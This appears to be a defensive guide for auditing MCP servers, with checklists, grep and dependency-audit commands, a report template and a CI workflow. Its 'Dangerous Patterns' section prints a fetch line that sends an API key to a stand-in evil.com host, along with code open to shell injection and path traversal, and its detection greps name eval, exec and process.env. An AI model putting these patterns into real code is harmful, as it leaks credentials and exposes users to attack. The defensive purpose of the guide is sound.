MCP Security Audit 🔒

Don't blindly trust MCP servers. Audit them first.

The Problem

MCP (Model Context Protocol) servers give AI agents powerful capabilities - file access, API calls, code execution. But they can also:

• Exfiltrate data to external servers
• Execute arbitrary commands on your machine
• Access files beyond intended scope
• Chain vulnerabilities for privilege escalation

Real incident: CVE-2026-23744 exposed MCP injection vulnerabilities. Supply chain attacks via compromised MCP packages are a growing threat.

Quick Audit Checklist

1. Source Verification ✅

□ Is this an official/verified package?
□ Check npm/PyPI download counts and maintainer history
□ Review recent commits for suspicious changes
□ Verify package signature if available

2. Network Audit 🌐

□ List all external URLs/domains the MCP connects to
□ Check for hardcoded API endpoints
□ Verify TLS certificate validation is enabled
□ Flag any data sent to unknown domains

3. File Access Audit 📁

□ What directories can the MCP read/write?
□ Is access scoped to project directory only?
□ Check for path traversal vulnerabilities
□ Flag any access to ~/.ssh, ~/.config, env files

4. Command Execution Audit ⚡

□ Does the MCP execute shell commands?
□ Are commands user-controlled or hardcoded?
□ Check for command injection vectors
□ Verify sandboxing/isolation if present

5. Permission Scope Audit 🔑

□ What permissions does the MCP request?
□ Are permissions minimal (principle of least privilege)?
□ Check for excessive scope requests
□ Verify user consent for sensitive operations

6. Dependency Audit 📦

□ Run npm audit / pip-audit / cargo audit
□ Check for known CVEs in dependencies
□ Flag outdated packages with security fixes
□ Review transitive dependencies

Audit Commands

For npm-based MCP servers:

# Check package.json for suspicious scripts
cat package.json | jq '.scripts'

# Audit dependencies
npm audit

# Check for post-install scripts
cat package.json | jq '.scripts.postinstall, .scripts.preinstall'

# List network calls (requires grep)
grep -r "fetch\|axios\|http\|https\|ws://" src/ --include="*.js" --include="*.ts"

For Python MCP servers:

# Check requirements.txt for suspicious packages
cat requirements.txt

# Audit dependencies
pip-audit

# Check for network calls
grep -r "requests\|urllib\|httpx\|aiohttp" src/ --include="*.py"

# Check for subprocess calls
grep -r "subprocess\|os.system\|exec\|eval" src/ --include="*.py"

Risk Scoring

Score ≥ 70: High risk - Do not use without review Score 40-69: Medium risk - Use with caution Score \x3C 40: Low risk - Generally safe

Red Flags 🚩

Immediately reject MCP servers with:

1. Obfuscated code - eval(atob('...')) or similar
2. Dynamic code loading - Loading code from remote URLs
3. Environment variable exfil - Sending process.env or os.environ externally
4. Credential harvesting - Asking for passwords/tokens unnecessarily
5. No source code - Binary-only distributions without reproducible builds

Audit Report Template

# MCP Security Audit Report

**Server**: [name]
**Version**: [version]
**Audited**: [date]
**Risk Score**: [score]/100

## Findings

### Critical
- [list critical issues]

### High
- [list high issues]

### Medium
- [list medium issues]

### Low
- [list low issues]

## Recommendations

1. [recommendation]
2. [recommendation]

## Verdict

[ ] APPROVED - Safe to use
[ ] APPROVED WITH CAUTION - Review recommendations
[ ] REJECTED - Too many risks

Common MCP Security Patterns

Safe Patterns ✅

// Scoped file access
const allowedDir = path.resolve(process.cwd(), 'data');
if (!filePath.startsWith(allowedDir)) throw new Error('Access denied');

// Sanitized commands
const allowedCommands = ['git', 'npm', 'node'];
if (!allowedCommands.includes(cmd)) throw new Error('Command not allowed');

// Explicit user consent
if (!await askUserConsent('Allow access to X?')) return;

Dangerous Patterns ❌

// DON'T: Unrestricted file read
fs.readFileSync(userInput); // Path traversal!

// DON'T: Shell injection
exec(`git ${userBranch}`); // Command injection!

// DON'T: Credential exposure
fetch('https://evil.com/steal?token=' + process.env.API_KEY);

Integration with CI/CD

Add to your workflow:

# .github/workflows/mcp-audit.yml
name: MCP Security Audit
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Audit MCP servers
        run: |
          # Add your audit commands here
          npm audit
          # Check for suspicious patterns
          grep -r "eval\|exec\|process.env" mcp-servers/ && exit 1

Related Skills

• prompt-guard - Protect against prompt injection
• skill-error-recovery - Handle MCP connection failures gracefully
• token-budget-guard - Monitor MCP token usage

References

• MCP Specification
• OWASP Top 10 for LLMs
• CVE-2026-23744

Remember: Every MCP server you add expands your agent's attack surface. Audit before you trust.